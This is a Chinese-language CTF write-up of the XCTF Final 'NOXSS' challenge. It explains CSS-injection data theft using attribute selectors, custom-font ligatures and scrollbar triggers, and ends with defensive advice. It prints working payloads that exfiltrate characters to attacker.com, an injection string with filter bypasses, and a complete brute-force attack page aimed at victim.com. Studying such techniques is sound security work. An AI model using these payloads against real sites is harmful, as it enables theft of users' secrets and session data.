XCTF Final NOXSS 攻击技术详细分析
字数 943 2025-08-25 22:58:40
XCTF Final NOXSS 攻击技术详细分析
1. 攻击技术概述
NOXSS攻击是一种利用CSS特性窃取HTML中敏感数据的技术,主要应用于以下场景:
- 窃取隐藏input字段的值
- 窃取JavaScript变量中的敏感数据
- 绕过XSS防护机制获取敏感信息
2. 基础攻击原理
2.1 通过CSS选择器窃取input值
<input type=hidden value="7b8a45b8297cf82cc3cefc174c3ae5a1">
<style>
input[value^="7"] {
background: url(http://attacker.com/leak/7);
}
</style>
攻击原理:
- 使用CSS属性选择器匹配特定开头的value值
- 当匹配成功时,加载外部背景图片
- 通过监控服务器请求获取匹配成功的字符
2.2 自动化窃取流程
自动化工具需要解决的关键问题是如何确定哪个字符匹配成功。解决方案:
- 建立包含iframe的攻击页面
- 服务端通过设置cookie响应请求
- 父页面通过检查cookie判断匹配的字符
3. 窃取JavaScript变量技术
3.1 字体连字(Font Ligature)技术
关键概念:
- 连字:两个或多个字符组合成的特殊字形
- 可以通过自定义字体创建特定字符序列的连字
攻击步骤:
- 创建自定义字体,设置特定字符序列的宽度
- 使用
@font-face引入自定义字体 - 通过滚动条触发检测
3.2 自定义字体示例
SVG字体定义:
<svg>
<defs>
<font id="hack" horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
<glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode='"7"' horiz-adv-x="10000" d="M1 0z"/>
</font>
</defs>
</svg>
3.3 利用滚动条检测
CSS关键代码:
@font-face {
font-family: "hack";
src: url(http://attacker.com/font.woff);
}
script {
display: table;
font-family: "hack";
white-space: nowrap;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/leak/7);
}
攻击原理:
- 设置script标签显示为表格
- 应用自定义字体
- 当特定字符序列存在时,因宽度变化触发水平滚动条
- 通过滚动条样式加载外部资源泄露信息
4. NOXSS题目实战分析
4.1 漏洞点发现
在主题参数存在CSS注入:
http://example.com/noxss.php?theme=../../../../\fa{}){}body{background:red}%2f*
注入技巧:
- 使用
%0a换行绕过过滤 - 使用
){}闭合前文并开始新样式 %2f*注释掉后续内容
4.2 完整攻击流程
- 构造CSS注入payload窃取secret变量
- 使用字体连字技术逐个字符爆破
- 通过滚动条触发请求泄露字符
示例攻击页面:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>NOXSS Attack</title>
</head>
<body>
<script>
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('');
let prefix = 'xctf{';
chars.forEach(c => {
var css = '?theme=../../../../\fa{}){}';
css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}`;
css += `html{display:block}*{display:none}`;
css += `body::-webkit-scrollbar{display:block;background: blue url(http://attacker.com/?${encodeURIComponent(prefix+c)})}`;
css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://attacker.com/font/${prefix}/${c});}`;
css += `script{font-family:a${c.charCodeAt()};display:block}`;
document.write(`<iframe src="http://victim.com/noxss.php?theme=${encodeURIComponent(css)}"
style="width:1000000px"
onload="event.target.style.width='100px'"></iframe>`);
});
</script>
</body>
</html>
5. 防御措施
- 严格过滤用户输入的CSS内容
- 对敏感数据使用CSP限制外部资源加载
- 避免在客户端存储敏感信息
- 使用HTTPOnly和Secure标志设置cookie
- 实施同源策略限制跨域请求